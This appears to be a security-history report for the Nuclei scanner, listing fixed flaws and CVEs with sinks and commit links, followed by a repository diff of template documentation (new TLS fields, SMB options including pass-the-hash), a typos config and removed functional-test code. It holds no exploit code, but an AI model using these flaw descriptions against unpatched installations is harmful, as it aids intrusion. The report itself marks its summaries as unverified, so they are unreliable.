|
||||
- fix: crypto/rand replacement
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/44ef9ce34ffcfdfca3a96626abc73d99dd0e83ab (2026-03-15)
|
||||
- **SQL Injection** (medium) [CWE-89]: Fixes a path-based fuzzing component encoding logic issue that prevented successful detection and isolated fuzz testing of SQL Injection paths.
|
||||
- sink: `pkg/testutils/fuzzplayground/sqli_test.go`
|
||||
- fix: path component fuzzing fix
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/19247ae74b99c5871b62d7c465a63edb446ceba1 (2025-08-25)
|
||||
- **Auth Bypass** (high) [CWE-341]: Fix a race condition in concurrent Nuclei engine executions where the global `LfaAllowed` state could be shared across different execution contexts, allowing unauthorized local file access.
|
||||
- sink: `protocolstate.NormalizePath`
|
||||
- fix: path canonicalization + prefix check
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/5b89811b906f086e47fdf5357a5ee367f8f1daef (2025-07-18)
|
||||
- **Auth Bypass** (medium) [CWE-307]: Enforce a minimum length restriction of 16 characters on the DAST server token option to prevent weak or easily guessable authentication credentials.
|
||||
- sink: `options.DASTServerToken`
|
||||
- fix: minimum token length constraint
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/5f0b7eb19b6cf160c8b277c9774f8e624d2069cf (2025-02-13)
|
||||
- **Auth Bypass** (medium) [CWE-862]: Disables self-contained and file-protocol templates by default to enforce safer execution boundaries and prevent unauthorized local file access or unexpected outbound connections unless explicitly enabled.
|
||||
- sink: `store.config.ExecutorOptions.Options`
|
||||
- fix: host allowlist
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/63687c2ce07e464f6b38f797d81a8b92597f6ef9 (2024-11-19)
|
||||
- **Race Condition** (medium) [CWE-362]: Fixes a race condition in the HTTP request execution where shared connection configurations (including cookie jars and timeouts) were concurrently modified, which could lead to cookie leakage across concurrent sessions.
|
||||
- sink: `connConfiguration.Connection.SetCookieJar`
|
||||
- fix: struct cloning
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/3064788d35a8ec8623eb3a54eca920ea289f1259 (2024-08-19)
|
||||
- **Signature Bypass** (high) [CWE-347]: Fixes a template signature verification bypass by ensuring the digest/signature is strictly parsed from the end of the template rather than extracted via an arbitrary regex match anywhere in the file.
|
||||
- sink: `Verify`
|
||||
- fix: signature extraction logic refinement
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/0da993afe6d41b4b1b814e8fad23a2acba13c60a (2024-08-19)
|
||||
- **Auth Bypass** (high) [CWE-566]: Fixes a Go loop variable reference bug in FileAuthProvider that causes all registered domains to use the credentials of the last secret entry in the configuration list.
|
||||
- sink: `f.compiled[domain]`
|
||||
- fix: loop variable copy
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/350fa4c10c43c0888561dfe1ee5fa473d5023f73 (2024-08-05)
|
||||
- **Arbitrary Code Execution** (high) [CWE-94]: Enforces validation checks for code-execution templates referenced within workflows, preventing unauthorized local code execution via untrusted workflows.
|
||||
- sink: `workflowTemplates = append(workflowTemplates, template)`
|
||||
- fix: verification and flag checks before loading code templates in workflows
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/e86f38299765b82ad724fdb701557e0eaff3884d (2024-03-01)
|
||||
- **SSRF** (high) [CWE-918]: Fixes a security bypass in the LDAP client where host validation checked the domain instead of the actual target domain controller address, allowing SSRF to restricted networks.
|
||||
- sink: `c.newLdapSession`
|
||||
- fix: validate target host instead of domain name
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/a167e6c57b80f5dc7be231231b62d7c594ee2770 (2024-01-20)
|
||||
- **Server-Side Request Forgery** (high) [CWE-918]: Fixes an SSRF/network policy bypass in SMB helper functions by introducing `protocolstate.IsHostAllowed` checks prior to dialing.
|
||||
- sink: `protocolstate.Dialer.Dial`
|
||||
- fix: host allowlist
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/a677fca192ee732a7b0a278f725517fa998b7897 (2024-01-18)
|
||||
- **Path Traversal** (high) [CWE-22]: Removes the insecure file extraction `to` feature from extractors and enforces local file access (LFA) boundary checks on headless screenshot file writes to prevent arbitrary file write vulnerabilities via malicious templates.
|
||||
- sink: `os.OpenFile`
|
||||
- fix: path canonicalization + prefix check
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/f663d1c9cf77da53533bf328750621b4a9fa996d (2024-01-05)
|
||||
- **Sandbox Bypass** (high) [CWE-693]: Disables the 'eval' function and strengthens file validation within the JavaScript sandbox environment to prevent sandbox escape and unauthorized code execution.
|
||||
- sink: `eval`
|
||||
- fix: disable eval function
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/c35162c8ef061a96dd74b54c8f022c1a41cf5833 (2023-10-13)
|
||||
- **Path Traversal** (high) [CWE-22]: Restricts local file input actions and file:// protocol access in headless browser protocols unless explicitly enabled via command-line flags.
|
||||
- sink: `p.FilesInput`
|
||||
- fix: host allowlist
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/d3928e080d819f25306bfbaecc399f03516db5aa (2023-08-25)
|
||||
- **Path Traversal** (medium) [CWE-22]: Implements a file-access sandbox to prevent malicious templates from reading arbitrary local files via payloads by restricting access to the template directory unless explicitly allowed.
|
||||
- sink: `os.Open`
|
||||
- fix: path canonicalization + prefix check
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/e5154d362af900e83b30fb79028bfab1a7f0c648 (2023-07-14)
|
||||
- **Auth Bypass** (high) [CWE-347]: Introduces a code protocol for template execution alongside a cryptographic signature verification mechanism (RSA/ECDSA) to ensure that only signed, trusted templates can execute local commands or scripts.
|
||||
- sink: `v2/pkg/protocols/code/code.go`
|
||||
- fix: introducing command + trivial trust store mechanism
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/a7fb15d0bd548257fe70af3cdddd469f21a75e6a (2023-06-09)
|
||||
- **Path Traversal** (medium) [CWE-22]: Introduces a sandbox restriction that validates and confines template payload file paths to the template directory, preventing arbitrary local file reads when safe template execution is enabled.
|
||||
- sink: `generator.loadPayloadsFromFile(pt)`
|
||||
- fix: path canonicalization + prefix check
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/e7fb40a41308f6c41267e858d1781eb67f7e0572 (2022-11-16)
|
||||
- **Insecure File Permissions** (medium) [CWE-732]: Restricts the file permissions of written debug data files from world-writable/readable (os.ModePerm) to owner-readable/writable (0644).
|
||||
- sink: `os.OpenFile`
|
||||
- fix: restrict file permissions to 0644
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/af4854f90de728bb08689d5cae3dec4acfdb6b9a (2022-06-20)
|
||||
- **Path Traversal** (medium) [CWE-22]: Sanitizes special and directory traversal characters from generated markdown filenames to prevent arbitrary file write/path traversal.
|
||||
- sink: `os.OpenFile`
|
||||
- fix: character replacement/sanitization
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/e510bc207f4336058f7b1536ddbb3942b394b05c (2022-04-06)
|
||||
- **Remote Code Execution** (high) [CWE-829]: Implements a domain restriction mechanism (remote-template-domain allowlist) to prevent loading and executing arbitrary untrusted remote templates from arbitrary hostnames.
|
||||
- sink: `http.Get`
|
||||
- fix: host allowlist
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/d1303797c0e5f88343a1f2ed781955dd086df03d (2022-01-12)
|
||||
- **Information Disclosure** (medium) [CWE-532]: Prevents disclosure of sensitive AWS credentials by pruning internal-only signing variables (aws-id and aws-secret) from the event metadata payload.
|
||||
- sink: `eventcreator.CreateEventWithAdditionalOptions`
|
||||
- fix: output pruning
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/c26a1ac21c32f716635738387d5e7d369d7538d1 (2022-01-09)
|
||||
- **Path Traversal** (medium) [CWE-22]: Replaces filepath.Join with path.Join when processing HTTP request paths to prevent platform-specific path manipulation issues on Windows.
|
||||
- sink: `filepath.Join`
|
||||
- fix: replace filepath with path
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/d15298648527f4edd1015e077201551b3a6eab06 (2021-12-16)
|
||||
- **Sandbox Escape** (low) [CWE-250]: Enables Chromium's security sandbox by default in headless mode, disabling it only when running as root on Linux where it is strictly required.
|
||||
- sink: `chromeLauncher`
|
||||
- fix: conditional sandbox disablement based on OS and user privileges
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/df55f7a2eb591a7949b5c66a9c54db54aa28f450 (2021-12-05)
|
||||
- **Path Traversal** (high) [CWE-22]: Fixes a Zip Slip (Path Traversal) vulnerability in the template updater by validating and sanitizing paths before writing unzipped files.
|
||||
- sink: `os.OpenFile`
|
||||
- fix: path validation in calculateTemplateAbsolutePath
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/f9c214a66f37a00fc29fe64232b690e6285ec59c (2021-11-25)
|
||||
- **Insecure Permissions** (medium) [CWE-732]: Fixes an insecure file and directory creation permissions vulnerability by replacing overly permissive permissions (0777/ModePerm) with restrictive defaults (0644 for files, 0755 for directories).
|
||||
- sink: `os.OpenFile,ioutil.WriteFile,os.MkdirAll`
|
||||
- fix: restrictive file/directory permissions (0644/0755)
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/4bccb6cf8a830724b3bda624cb3bfe43eff31683 (2021-11-24)
|
||||
- **Sandbox Escape** (high) [CWE-116]: Introduces payload validation for template generators to restrict execution of unsafe functions within Nuclei templates.
|
||||
- sink: `Go-template compiler/executor`
|
||||
- fix: input validation / payload sandbox checks
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/aefa2717f7d6d1702e3008ac18ebdcc3660dc256 (2020-12-29)
|
||||
- **Sandbox Escape** (high) [CWE-265]: Restricts the Tengo scripting engine imports in workflows to a safe subset of standard library modules, preventing arbitrary system command execution.
|
||||
- sink: `tengo.NewScript`
|
||||
- fix: import allowlist restriction
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/96049a32fa70aef0483d4180d386a57b3c2d973a (2020-12-13)
|
||||
|
||||
## Known CVEs
|
||||
|
||||
- **CVE-2026-41645** (medium 5.3) CWE-94
|
||||
- Nuclei 3.0.0 to < 3.8.0 contains an expression injection vulnerability caused by reuse of HTTP response data with helper/function syntax in multi-step templates, letting malicious target servers execu...
|
||||
- **CVE-2026-41646** (medium 5.5) CWE-284
|
||||
- Nuclei 3.0.0 to < 3.8.0 contains a local file read vulnerability caused by JavaScript protocol runtime allowing require() to access local .js and .json files, letting attackers read restricted files, ...
|
||||
- **CVE-2026-41282** (medium 4.0) CWE-94
|
||||
- ProjectDiscovery Nuclei < 3.8.0 contains a template injection caused by unsafe use of -env-vars in multi-step templates against untrusted targets, letting attackers inject DSL expressions, exploit req...
|
||||
- **CVE-2024-43405** (high 7.4) CWE-78
|
||||
- Nuclei versions prior to 3.3.2 contain a signature verification bypass caused by discrepancies in newline handling between the verification process and YAML parser, letting attackers inject malicious ...
|
||||
- **CVE-2024-27920** (high 7.4) CWE-78
|
||||
- projectdiscovery/nuclei v3 contains a vulnerability caused by execution of unsigned code templates through workflows, letting malicious code run on the user's system, exploit requires using custom wor...
|
||||
- **CVE-2023-37896** (high 7.5) CWE-22
|
||||
- Nuclei prior to version 2.9.9 contains a sandbox sanitization issue caused by relative path handling in payload loading, letting arbitrary files be read on the filesystem when used as Go SDK, exploit ...
|
||||
|
||||
---
|
||||
_Fixed-issue fingerprints and CVE matches are derived from real data; LLM-written prose is advisory and should be verified against the cited commits._
|
||||
Executable → Regular
+135
-1
@@ -1009,6 +1009,26 @@ Part Definitions:
|
||||
- <code>all</code> - HTTP response body + headers
|
||||
- <code>cookies_from_response</code> - HTTP response cookies in name:value format
|
||||
- <code>headers_from_response</code> - HTTP response headers in name:value format
|
||||
- <code>tls_version</code> - TLS version negotiated for the HTTP connection
|
||||
- <code>cipher</code> - TLS cipher suite negotiated for the HTTP connection
|
||||
- <code>sni</code> - SNI value used in the TLS handshake
|
||||
- <code>subject_cn</code> - Leaf certificate subject common name
|
||||
- <code>subject_dn</code> - Leaf certificate subject distinguished name
|
||||
- <code>subject_an</code> - Leaf certificate subject alternative names
|
||||
- <code>subject_org</code> - Leaf certificate subject organization
|
||||
- <code>issuer_cn</code> - Leaf certificate issuer common name
|
||||
- <code>issuer_dn</code> - Leaf certificate issuer distinguished name
|
||||
- <code>issuer_org</code> - Leaf certificate issuer organization
|
||||
- <code>serial</code> - Leaf certificate serial number
|
||||
- <code>fingerprint_hash</code> - Leaf certificate fingerprint hashes (md5/sha1/sha256)
|
||||
- <code>not_before</code> - Leaf certificate not-before timestamp
|
||||
- <code>not_after</code> - Leaf certificate not-after timestamp
|
||||
- <code>expired</code> - Whether the leaf certificate has expired
|
||||
- <code>self_signed</code> - Whether the leaf certificate is self-signed
|
||||
- <code>mismatched</code> - Whether the leaf certificate does not match the SNI hostname
|
||||
- <code>domains</code> - Deduplicated domains from subject CN and SANs
|
||||
- <code>wildcard_certificate</code> - Whether the leaf certificate is a wildcard certificate
|
||||
- <code>emails</code> - Email addresses embedded in the leaf certificate
|
||||
|
||||
<hr />
|
||||
|
||||
@@ -1501,6 +1521,21 @@ This can be used in conjunction with `max-redirects` to control the HTTP request
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>protocol-redirects</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
ProtocolRedirects specifies whether only redirects within the same protocol should be followed.
|
||||
|
||||
When set to true with redirects enabled, cross-protocol redirects (e.g. HTTP to HTTPS) will be blocked.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>pipeline</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
@@ -2066,6 +2101,8 @@ Valid values:
|
||||
|
||||
|
||||
- <code>time_delay</code>
|
||||
|
||||
- <code>xss_context</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -2589,6 +2626,7 @@ Part Definitions:
|
||||
- <code>host</code> - Host is the input to the template
|
||||
- <code>matched</code> - Matched is the input which was matched upon
|
||||
- <code>request</code> - Request contains the DNS request in text format
|
||||
- <code>duration</code> - Protocol operation duration in seconds
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>rcode</code> - Rcode field returned for the DNS request
|
||||
- <code>question</code> - Question contains the DNS question field
|
||||
@@ -2881,6 +2919,16 @@ Enum Values:
|
||||
- <code>ANY</code>
|
||||
|
||||
- <code>SRV</code>
|
||||
|
||||
- <code>RRSIG</code>
|
||||
|
||||
- <code>NSEC</code>
|
||||
|
||||
- <code>DNSKEY</code>
|
||||
|
||||
- <code>NSEC3</code>
|
||||
|
||||
- <code>NSEC3PARAM</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -3054,6 +3102,82 @@ NoRecursive specifies whether to not do recursive checks if folders are provided
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>smb-user</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SMBUser authenticates to remote SMB shares when the file input is a UNC
|
||||
or smb:// path (issue #6142). Guest/anon: empty password.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
smb-user: auditor
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>smb-password</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SMBPassword is the password for SMB file targets.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>smb-domain</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SMBDomain is the optional NTLM domain / workgroup.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>smb-hash</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SMBHash enables pass-the-hash (overrides smb-password when set).
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>smb-port</code> <i>int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
SMBPort overrides the default SMB port (445) for UNC targets.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3092,6 +3216,7 @@ Part Definitions:
|
||||
- <code>matched</code> - Matched is the input which was matched upon
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>request</code> - Network request made from the client
|
||||
- <code>duration</code> - Latest measured operation duration in seconds
|
||||
- <code>body,all,data</code> - Network response received from server (default)
|
||||
- <code>raw</code> - Full Network protocol data
|
||||
|
||||
@@ -3219,7 +3344,7 @@ Inputs contains inputs for the network socket
|
||||
|
||||
description: |
|
||||
Port is the port to send network requests to. this acts as default port but is overridden if target/input contains
|
||||
non-http(s) ports like 80,8080,8081 etc
|
||||
non-http(s) ports like 80,8080,8081 etc. Supports both numeric ports and IANA service names (e.g. ftp, ssh, smtp).
|
||||
|
||||
</div>
|
||||
|
||||
@@ -3484,6 +3609,7 @@ Part Definitions:
|
||||
- <code>matched</code> - Matched is the input which was matched upon
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>req</code> - Headless request made from the client
|
||||
- <code>duration</code> - Latest measured operation duration in seconds
|
||||
- <code>resp,body,data</code> - Headless response received from client (default)
|
||||
|
||||
<hr />
|
||||
@@ -3864,6 +3990,7 @@ Part Definitions:
|
||||
- <code>matched</code> - Matched is the input which was matched upon
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>timestamp</code> - Timestamp is the time when the request was made
|
||||
- <code>duration</code> - Protocol operation duration in seconds
|
||||
- <code>response</code> - JSON SSL protocol handshake details
|
||||
- <code>cipher</code> - Cipher is the encryption algorithm used
|
||||
- <code>domains</code> - Domains are the list of domain names in the certificate
|
||||
@@ -4063,6 +4190,7 @@ Part Definitions:
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>success</code> - Success specifies whether websocket connection was successful
|
||||
- <code>request</code> - Websocket request made to the server
|
||||
- <code>duration</code> - Latest measured operation duration in seconds
|
||||
- <code>response</code> - Websocket response received from the server
|
||||
- <code>host</code> - Host is the input to the template
|
||||
- <code>matched</code> - Matched is the input which was matched upon
|
||||
@@ -4237,8 +4365,14 @@ Appears in:
|
||||
|
||||
|
||||
|
||||
Part Definitions:
|
||||
|
||||
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>host</code> - Host is the input to the template
|
||||
- <code>response</code> - WHOIS response data
|
||||
- <code>duration</code> - Protocol operation duration in seconds
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
[files]
|
||||
extend-exclude = [
|
||||
# Non-English translations
|
||||
"README_CN.md",
|
||||
"README_ES.md",
|
||||
"README_ID.md",
|
||||
"README_JP.md",
|
||||
"README_KR.md",
|
||||
"README_PT-BR.md",
|
||||
"README_TR.md",
|
||||
# Test fixtures and data files
|
||||
"internal/tests/integration/testdata/",
|
||||
"pkg/input/formats/testdata/",
|
||||
"pkg/output/stats/waf/",
|
||||
# Deserialization test data
|
||||
"pkg/protocols/common/helpers/deserialization/testdata/",
|
||||
# Certificate/encoded data in test utilities
|
||||
"internal/tests/testutils/integration.go",
|
||||
# Vendor directory
|
||||
"vendor/",
|
||||
# Go checksum file
|
||||
"go.sum",
|
||||
]
|
||||
|
||||
[default.extend-identifiers]
|
||||
# Go identifiers that cannot be renamed without breaking API
|
||||
MisMatched = "MisMatched"
|
||||
IsMisMatchedCert = "IsMisMatchedCert" # tlsx clients API
|
||||
NoopWriter = "NoopWriter"
|
||||
AllowdTypes = "AllowdTypes"
|
||||
# Deprecated alias kept for backward compatibility
|
||||
ExludedDastTmplStats = "ExludedDastTmplStats"
|
||||
|
||||
[default.extend-words]
|
||||
# External package API (fileutil.IsWriteable)
|
||||
Writeable = "Writeable" # TODO(dwisiswant0): Fix in upstream.
|
||||
# Variable name used for flow annotations
|
||||
fo = "fo"
|
||||
# Serbian test data in XML
|
||||
alo = "alo"
|
||||
# SQL test data (Spanish)
|
||||
algoritmos = "algoritmos"
|
||||
# Base64/hex encoded test data
|
||||
Noo = "Noo"
|
||||
# Certificate data fragments
|
||||
ba = "ba"
|
||||
nd = "nd"
|
||||
# Base64 encoded test data fragments
|
||||
Iif = "Iif"
|
||||
ser = "ser"
|
||||
|
||||
[type.go.extend-identifiers]
|
||||
# Short CLI flag names that appear in help strings
|
||||
ot = "ot"
|
||||
ue = "ue"
|
||||
ine = "ine"
|
||||
ines = "ines"
|
||||
hae = "hae"
|
||||
|
||||
[type.md.extend-identifiers]
|
||||
# CLI flag references in documentation
|
||||
ot = "ot"
|
||||
ue = "ue"
|
||||
ine = "ine"
|
||||
ines = "ines"
|
||||
hae = "hae"
|
||||
@@ -1,127 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/kitabisa/go-ci"
|
||||
"github.com/logrusorgru/aurora"
|
||||
"github.com/pkg/errors"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var (
|
||||
success = aurora.Green("[✓]").String()
|
||||
failed = aurora.Red("[✘]").String()
|
||||
|
||||
mainNucleiBinary = flag.String("main", "", "Main Branch Nuclei Binary")
|
||||
devNucleiBinary = flag.String("dev", "", "Dev Branch Nuclei Binary")
|
||||
testcases = flag.String("testcases", "", "Test cases file for nuclei functional tests")
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.Parse()
|
||||
|
||||
debug := os.Getenv("DEBUG") == "true" || os.Getenv("RUNNER_DEBUG") == "1"
|
||||
|
||||
if err, errored := runFunctionalTests(debug); err != nil {
|
||||
log.Fatalf("Could not run functional tests: %s\n", err)
|
||||
} else if errored {
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func runFunctionalTests(debug bool) (error, bool) {
|
||||
file, err := os.Open(*testcases)
|
||||
if err != nil {
|
||||
return errors.Wrap(err, "could not open test cases"), true
|
||||
}
|
||||
defer func() {
|
||||
_ = file.Close()
|
||||
}()
|
||||
|
||||
errored, failedTestCases := runTestCases(file, debug)
|
||||
|
||||
if ci.IsCI() {
|
||||
fmt.Println("::group::Failed tests with debug")
|
||||
for _, failedTestCase := range failedTestCases {
|
||||
_ = runTestCase(failedTestCase, true)
|
||||
}
|
||||
fmt.Println("::endgroup::")
|
||||
}
|
||||
|
||||
return nil, errored
|
||||
}
|
||||
|
||||
func runTestCases(file *os.File, debug bool) (bool, []string) {
|
||||
errored := false
|
||||
var failedTestCases []string
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
testCase := strings.TrimSpace(scanner.Text())
|
||||
if testCase == "" {
|
||||
continue
|
||||
}
|
||||
// skip comments
|
||||
if strings.HasPrefix(testCase, "#") {
|
||||
continue
|
||||
}
|
||||
if runTestCase(testCase, debug) {
|
||||
errored = true
|
||||
failedTestCases = append(failedTestCases, testCase)
|
||||
}
|
||||
}
|
||||
return errored, failedTestCases
|
||||
}
|
||||
|
||||
func runTestCase(testCase string, debug bool) bool {
|
||||
if err := runIndividualTestCase(testCase, debug); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, testCase, err)
|
||||
return true
|
||||
} else {
|
||||
fmt.Printf("%s Test \"%s\" passed!\n", success, testCase)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func runIndividualTestCase(testcase string, debug bool) error {
|
||||
quoted := false
|
||||
|
||||
// split upon unquoted spaces
|
||||
parts := strings.FieldsFunc(testcase, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == ' '
|
||||
})
|
||||
|
||||
// Quoted strings containing spaces are expressions and must have trailing \" removed
|
||||
for index, part := range parts {
|
||||
if strings.Contains(part, " ") {
|
||||
parts[index] = strings.Trim(part, "\"")
|
||||
}
|
||||
}
|
||||
|
||||
var finalArgs []string
|
||||
if len(parts) > 1 {
|
||||
finalArgs = parts[1:]
|
||||
}
|
||||
mainOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*mainNucleiBinary, debug, finalArgs)
|
||||
if err != nil {
|
||||
return errors.Wrap(err, "could not run nuclei main test")
|
||||
}
|
||||
devOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*devNucleiBinary, debug, finalArgs)
|
||||
if err != nil {
|
||||
return errors.Wrap(err, "could not run nuclei dev test")
|
||||
}
|
||||
if mainOutput == devOutput {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("%s main is not equal to %s dev", mainOutput, devOutput)
|
||||
}
|
||||
@@ -1,43 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [ "${RUNNER_OS}" == "Windows" ]; then
|
||||
EXT=".exe"
|
||||
elif [ "${RUNNER_OS}" == "macOS" ]; then
|
||||
if [ "${CI}" == "true" ]; then
|
||||
sudo sysctl -w kern.maxfiles{,perproc}=524288
|
||||
sudo launchctl limit maxfiles 65536 524288
|
||||
fi
|
||||
|
||||
ORIGINAL_ULIMIT="$(ulimit -n)"
|
||||
ulimit -n 65536 || true
|
||||
fi
|
||||
|
||||
mkdir -p .nuclei-config/nuclei/
|
||||
touch .nuclei-config/nuclei/.nuclei-ignore
|
||||
|
||||
echo "::group::Building functional-test binary"
|
||||
go build -o "functional-test${EXT}"
|
||||
echo "::endgroup::"
|
||||
|
||||
echo "::group::Building Nuclei binary from current branch"
|
||||
go build -o "nuclei-dev${EXT}" ../nuclei
|
||||
echo "::endgroup::"
|
||||
|
||||
echo "::group::Building latest release of nuclei"
|
||||
go build -o "nuclei${EXT}" -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei
|
||||
echo "::endgroup::"
|
||||
|
||||
echo "::group::Installing nuclei templates"
|
||||
eval "./nuclei-dev${EXT} -update-templates"
|
||||
echo "::endgroup::"
|
||||
|
||||
echo "::group::Validating templates"
|
||||
eval "./nuclei-dev${EXT} -validate"
|
||||
echo "::endgroup::"
|
||||
|
||||
echo "Starting Nuclei functional test"
|
||||
eval "./functional-test${EXT} -main ./nuclei${EXT} -dev ./nuclei-dev${EXT} -testcases testcases.txt"
|
||||
|
||||
if [ "${RUNNER_OS}" == "macOS" ]; then
|
||||
ulimit -n "${ORIGINAL_ULIMIT}" || true
|
||||
fi
|
||||
@@ -1,40 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
type customConfigDirTest struct{}
|
||||
|
||||
var customConfigDirTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/dns/cname-fingerprint.yaml", TestCase: &customConfigDirTest{}},
|
||||
}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *customConfigDirTest) Execute(filePath string) error {
|
||||
customTempDirectory, err := os.MkdirTemp("", "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(customTempDirectory)
|
||||
}()
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, []string{"NUCLEI_CONFIG_DIR=" + customTempDirectory}, "-t", filePath, "-u", "8x8exch02.8x8.com")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(results) == 0 {
|
||||
return nil
|
||||
}
|
||||
files, err := os.ReadDir(customTempDirectory)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var fileNames []string
|
||||
for _, file := range files {
|
||||
fileNames = append(fileNames, file.Name())
|
||||
}
|
||||
return expectResultsCount(fileNames, 4)
|
||||
}
|
||||
@@ -1,106 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var dnsTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/dns/a.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/aaaa.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/cname.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/srv.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/ns.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/txt.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/ptr.yaml", TestCase: &dnsPtr{}},
|
||||
{Path: "protocols/dns/caa.yaml", TestCase: &dnsCAA{}},
|
||||
{Path: "protocols/dns/tlsa.yaml", TestCase: &dnsTLSA{}},
|
||||
{Path: "protocols/dns/variables.yaml", TestCase: &dnsVariables{}},
|
||||
{Path: "protocols/dns/payload.yaml", TestCase: &dnsPayload{}},
|
||||
{Path: "protocols/dns/dsl-matcher-variable.yaml", TestCase: &dnsDSLMatcherVariable{}},
|
||||
}
|
||||
|
||||
type dnsBasic struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *dnsBasic) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "one.one.one.one", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type dnsPtr struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
